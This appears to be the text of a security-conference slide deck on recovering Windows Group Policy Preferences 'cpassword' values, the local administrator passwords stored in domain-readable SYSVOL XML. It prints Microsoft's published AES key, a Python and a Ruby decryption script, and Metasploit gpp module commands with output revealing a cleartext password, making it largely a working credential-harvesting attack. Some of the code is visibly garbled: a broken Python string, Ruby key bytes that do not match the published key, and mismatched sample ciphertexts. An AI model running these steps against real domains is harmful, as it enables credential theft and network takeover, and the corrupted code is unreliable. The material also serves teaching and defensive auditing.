Server 2008 Group Policy Preferences (GPP) - And How They Get Your Domain Owned

Chris Gates
Carna0wnage
Lares Consulting
Whoami

• Chris Gates (CG)
  – Twitter ➔ carnal0wnage
  – Blog ➔ carnal0wnage.attackresearch.com
  – Job ➔ Partner/Principal Security Consultant at Lares
  – Affiliations ➔ Attack Research, Metasploit Project

• Work

• Previous Talks
  – Attack Oracle (via web)
  – wXf Web eXploitation Framework
  – Open Source Information Gathering
  – Attacking Oracle (via TNS)
  – Client-Side Attacks
• Pretty much all of this came from the following post:

• Exploiting Windows 2008 Group Policy Preferences
What Are Group Policy Preferences

• 2008 Server gave people the ability to set even more yummy things via group policy.
  – “Group Policy preferences, new for the Windows Server 2008 operating system, include more than 20 new Group Policy extensions that expand the range of configurable settings within a Group Policy object (GPO)”

• You can set all sorts of things including the local administrator password for servers and workstations 😊
• Via Local Users and Groups Extension
Example

<table>
<thead>
<tr>
<th>Adresse</th>
<th>Nom</th>
<th>Taille</th>
<th>Type</th>
<th>Date</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Groups.xml</td>
<td>1 Ko</td>
<td>Document XML</td>
<td>26/1</td>
</tr>
</tbody>
</table>
Content of groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="MyLocalUser" image="0" changed="2011-12-26 10:21:37" uid="{A5E3F388-299C-41D2-B937-DD5E638696FF}"
<Properties action="C" fullName="" description=""
cpassword="j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZWgdHdhw" changeLogon="0" noChange="0"
everExpires="0" acctDisabled="0"
subAuthority="" userName="MyLocalUser" />
</User>
</Groups>
So What

• When you use the GPO to set the password it is stored “encrypted” “obscured” in a GPO XML object.

• Who has to be able to see/set GPO?
  – All users

• So, if an organization uses 2008 and the sets the local admin passwords via group policy. Any domain user has access to this XML file.

So What #2

- But its encrypted...obscured...whatever
- Yes, with AES. And MS published the key...

---

2.2.1.4 Password Encryption

All passwords are encrypted using a derived Advanced Encryption Standard (AES) key.<2>

The 32-byte AES key is as follows:

```
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
```
Party Time

- Give that we have the AES key.
- You can decrypt any password from the XML document.

Decryption Example

We now have both the encrypted password and the decryption key. Using **PyCrypto**, we can implement the decryption algorithm very quickly:

```python
from Crypto.Cipher import AES
from base64 import b64decode

key = """
4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8
f4 96 e8 06 cc 05 79 90 20 9b 09 a4 33 b6 6c 1b
""".replace(" ",").replace("\n","").decode('hex')

cpassword = b64decode("j1Uyj3Vx8TY9LtLZi12uAuZkFQA/41atT76ZwgdHdhw=")

o = AES.new(key, 2).decrypt(cpassword)

print [i for i in o]
```
**Party Time**

- Someone made a metasploit module too
  (post/windows/gather/credentials/gpp)

```
msf exploit(psexec) > use post/windows/gather/credentials/gpp
msf post(gpp) > set SESSION 1
SESSION => 1
msf post(gpp) > exploit -j
[*] Post module running as background job

[*] Checking locally...
msf post(gpp) > [-] Error accessing C:\WINNT\SYSVOL\sysvol : stdapi_fs_ls: Operation failed: The system cannot find the path specified.
[*] Enumerating Domains on the Network...
[*] 1 Domain(s) found.
[*] Retrieved Domain(s) DOMAIN from network
[*] Enumerating domain information from the local registry...
[*] Retrieved Domain(s) CIS, DEV, DOMAIN, from registry
[*] Retrieved DC COMPANYINTERNAL.COM from registry
[*] Enumerating DCs for DOMAIN on the network...
[*] Enumerating DCs for CIS on the network...
[-] No Domain Controllers found for CIS
[*] Enumerating DCs for DEV on the network...
```
Party Time

• Someone made a metasploit module too

[*] Searching for Policy Share on INTERNALDC...
[+] Found Policy Share on INTERNALDC
[*] Searching for Group Policy XML Files...
[*] Parsing file: \INTERALDC\SYSVOL\COMPANY\Policies\{4D545393-0DE8-4CDF-985D-0C932F3B7565}\MACHINE\Preferences\Groups\Groups.xml ...

[+] Group Policy Credential Info
Name Value
---- -----
TYPE Groups.xml
USERNAME LOCALdmin
PASSWORD A3$r0ck$!
DOMAIN CONTROLLER INTERNLADC
DOMAIN COMPANY.COM
CHANGED 2011-06-22 05:38:50
NEVER_EXPIRES? 1
DISABLED 0
• So if I didn’t mention it yet, module is slow.
• Had a test where it was downloading the xml but pooping before it spit out the cleartext.
• Wrote quick ruby script to decode.

```ruby
require 'rubygems'
require 'openssl'
require 'base64'

encrypted_data = "j1Uyj3Vx8TY9LtLzil2uAh2kFQA/41atT762zgdHdhw"

def decrypt(encrypted_data)
  padding = "\" \* (4 - (encrypted_data.length % 4))
  epassword = "#{encrypted_data}#{padding}"
  decoded = Base64.decode64(epassword)

  key = "\xdc\x39\x06\xc8\xf0\xb6\x6c\xc9\xf4\x93\x10\x62\x0f\xf0\xc8\xf4\x98\x06\xcc\x05\x79\x90\x20\x9b\x09\xa9\x33\x6c\x11"
  aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
  aes.decrypt
  aes.key = key
  plaintext = aes.update(decoded)
  plaintext << aes.final
  pass = plaintext.unpeek('y').pack('C') # UNICODE conversion

  return pass
end

blah = decrypt(encrypted_data)
puts blah
```
output

F:\Lares>gpp-decrypt-string.rb
Local*P4ssword!
Questions?

Chris Gates
@carnal0wnage